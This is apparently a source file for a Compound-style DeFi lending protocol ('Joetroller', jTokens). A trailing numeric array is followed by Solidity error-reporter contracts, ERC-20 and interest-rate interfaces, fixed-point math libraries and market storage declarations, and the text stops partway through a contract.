-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.5.16;
contract JoetrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
JOETROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED, // no longer possible
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
SET_PAUSE_GUARDIAN_OWNER_CHECK
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint256 error, uint256 info, uint256 detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), 0);
return uint256(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(
Error err,
FailureInfo info,
uint256 opaqueError
) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), opaqueError);
return uint256(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
JOETROLLER_REJECTION,
JOETROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_MARKET_NOT_LISTED,
BORROW_JOETROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_JOETROLLER_REJECTION,
LIQUIDATE_JOETROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_JOETROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_JOETROLLER_REJECTION,
MINT_FRESHNESS_CHECK,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_JOETROLLER_REJECTION,
REDEEM_FRESHNESS_CHECK,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_JOETROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_JOETROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_JOETROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
ADD_RESERVES_ACCRUE_INTEREST_FAILED,
ADD_RESERVES_FRESH_CHECK,
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint256 error, uint256 info, uint256 detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), 0);
return uint256(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(
Error err,
FailureInfo info,
uint256 opaqueError
) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), opaqueError);
return uint256(err);
}
}
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per sec
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @return The borrow rate per sec (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) external view returns (uint256);
/**
* @notice Calculates the current supply interest rate per sec
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per sec (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa
) external view returns (uint256);
}
interface ERC3156FlashBorrowerInterface {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
contract PriceOracle {
/**
* @notice Get the underlying price of a jToken asset
* @param jToken The jToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(JToken jToken) external view returns (uint256);
}
/**
* @title Careful Math
* @author Compound
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint256 c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) {
uint256 c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (MathError, uint256) {
(MathError err0, uint256 sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint256 constant expScale = 1e18;
uint256 constant doubleScale = 1e36;
uint256 constant halfExpScale = expScale / 2;
uint256 constant mantissaOne = expScale;
struct Exp {
uint256 mantissa;
}
struct Double {
uint256 mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint256 num, uint256 denom) internal pure returns (MathError, Exp memory) {
(MathError err0, uint256 scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint256 rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) {
(MathError error, uint256 result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) {
(MathError error, uint256 result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint256 scalar) internal pure returns (MathError, Exp memory) {
(MathError err0, uint256 scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint256 scalar) internal pure returns (MathError, uint256) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(
Exp memory a,
uint256 scalar,
uint256 addend
) internal pure returns (MathError, uint256) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mul_ScalarTruncate(Exp memory a, uint256 scalar) internal pure returns (uint256) {
Exp memory product = mul_(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mul_ScalarTruncateAddUInt(
Exp memory a,
uint256 scalar,
uint256 addend
) internal pure returns (uint256) {
Exp memory product = mul_(a, scalar);
return add_(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint256 scalar) internal pure returns (MathError, Exp memory) {
(MathError err0, uint256 descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint256 scalar, Exp memory divisor) internal pure returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint256 numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint256 scalar, Exp memory divisor) internal pure returns (MathError, uint256) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function div_ScalarByExp(uint256 scalar, Exp memory divisor) internal pure returns (Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
uint256 numerator = mul_(expScale, scalar);
return Exp({mantissa: div_(numerator, divisor)});
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function div_ScalarByExpTruncate(uint256 scalar, Exp memory divisor) internal pure returns (uint256) {
Exp memory fraction = div_ScalarByExp(scalar, divisor);
return truncate(fraction);
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) {
(MathError err0, uint256 doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint256 doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint256 product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint256 a, uint256 b) internal pure returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(
Exp memory a,
Exp memory b,
Exp memory c
) internal pure returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) internal pure returns (uint256) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) internal pure returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) internal pure returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) internal pure returns (bool) {
return value.mantissa == 0;
}
function safe224(uint256 n, string memory errorMessage) internal pure returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) internal pure returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) internal pure returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint256 a, uint256 b) internal pure returns (uint256) {
return add_(a, b, "addition overflow");
}
function add_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) internal pure returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) internal pure returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint256 a, uint256 b) internal pure returns (uint256) {
return sub_(a, b, "subtraction underflow");
}
function sub_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) internal pure returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Exp memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) internal pure returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint256 b) internal pure returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Double memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint256 a, uint256 b) internal pure returns (uint256) {
return mul_(a, b, "multiplication overflow");
}
function mul_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) internal pure returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Exp memory b) internal pure returns (uint256) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) internal pure returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint256 b) internal pure returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Double memory b) internal pure returns (uint256) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint256 a, uint256 b) internal pure returns (uint256) {
return div_(a, b, "divide by zero");
}
function div_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint256 a, uint256 b) internal pure returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
// implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0
// original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
contract UnitrollerAdminStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Active brains of Unitroller
*/
address public joetrollerImplementation;
/**
* @notice Pending brains of Unitroller
*/
address public pendingJoetrollerImplementation;
}
contract JoetrollerV1Storage is UnitrollerAdminStorage {
/**
* @notice Oracle which gives the price of any given asset
*/
PriceOracle public oracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint256 public closeFactorMantissa;
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint256 public liquidationIncentiveMantissa;
/**
* @notice Per-account mapping of "assets you are in"
*/
mapping(address => JToken[]) public accountAssets;
enum Version {
VANILLA,
COLLATERALCAP,
WRAPPEDNATIVE
}
struct Market {
/// @notice Whether or not this market is listed
bool isListed;
/**
* @notice Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be between 0 and 1, and stored as a mantissa.
*/
uint256 collateralFactorMantissa;
/// @notice Per-market mapping of "accounts in this asset"
mapping(address => bool) accountMembership;
/// @notice JToken version
Version version;
}
/**
* @notice Official mapping of jTokens -> Market metadata
* @dev Used e.g. to determine if a market is supported
*/
mapping(address => Market) public markets;
/**
* @notice The Pause Guardian can pause certain actions as a safety mechanism.
* Actions which allow users to remove their own assets cannot be paused.
* Liquidation / seizing / transfer can only be paused globally, not by market.
*/
address public pauseGuardian;
bool public _mintGuardianPaused;
bool public _borrowGuardianPaused;
bool public transferGuardianPaused;
bool public seizeGuardianPaused;
mapping(address => bool) public mintGuardianPaused;
mapping(address => bool) public borrowGuardianPaused;
/// @notice A list of all markets
JToken[] public allMarkets;
// @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market.
address public borrowCapGuardian;
// @notice Borrow caps enforced by borrowAllowed for each jToken address. Defaults to zero which corresponds to unlimited borrowing.
mapping(address => uint256) public borrowCaps;
// @notice The supplyCapGuardian can set supplyCaps to any number for any market. Lowering the supply cap could disable supplying to the given market.
address public supplyCapGuardian;
// @notice Supply caps enforced by mintAllowed for each jToken address. Defaults to zero which corresponds to unlimited supplying.
mapping(address => uint256) public supplyCaps;
// @notice creditLimits allowed specific protocols to borrow and repay without collateral.
mapping(address => uint256) public creditLimits;
// @notice flashloanGuardianPaused can pause flash loan as a safety mechanism.
mapping(address => bool) public flashloanGuardianPaused;
// @notice rewardDistributor The module that handles reward distribution.
address payable public rewardDistributor;
}
contract JoetrollerInterface {
/// @notice Indicator that this is a Joetroller contract (for inspection)
bool public constant isJoetroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata jTokens) external returns (uint256[] memory);
function exitMarket(address jToken) external returns (uint256);
/*** Policy Hooks ***/
function mintAllowed(
address jToken,
address minter,
uint256 mintAmount
) external returns (uint256);
function mintVerify(
address jToken,
address minter,
uint256 mintAmount,
uint256 mintTokens
) external;
function redeemAllowed(
address jToken,
address redeemer,
uint256 redeemTokens
) external returns (uint256);
function redeemVerify(
address jToken,
address redeemer,
uint256 redeemAmount,
uint256 redeemTokens
) external;
function borrowAllowed(
address jToken,
address borrower,
uint256 borrowAmount
) external returns (uint256);
function borrowVerify(
address jToken,
address borrower,
uint256 borrowAmount
) external;
function repayBorrowAllowed(
address jToken,
address payer,
address borrower,
uint256 repayAmount
) external returns (uint256);
function repayBorrowVerify(
address jToken,
address payer,
address borrower,
uint256 repayAmount,
uint256 borrowerIndex
) external;
function liquidateBorrowAllowed(
address jTokenBorrowed,
address jTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount
) external returns (uint256);
function liquidateBorrowVerify(
address jTokenBorrowed,
address jTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount,
uint256 seizeTokens
) external;
function seizeAllowed(
address jTokenCollateral,
address jTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function seizeVerify(
address jTokenCollateral,
address jTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external;
function transferAllowed(
address jToken,
address src,
address dst,
uint256 transferTokens
) external returns (uint256);
function transferVerify(
address jToken,
address src,
address dst,
uint256 transferTokens
) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address jTokenBorrowed,
address jTokenCollateral,
uint256 repayAmount
) external view returns (uint256, uint256);
}
interface JoetrollerInterfaceExtension {
function checkMembership(address account, JToken jToken) external view returns (bool);
function updateJTokenVersion(address jToken, JoetrollerV1Storage.Version version) external;
function flashloanAllowed(
address jToken,
address receiver,
uint256 amount,
bytes calldata params
) external view returns (bool);
}
contract JTokenStorage {
/**
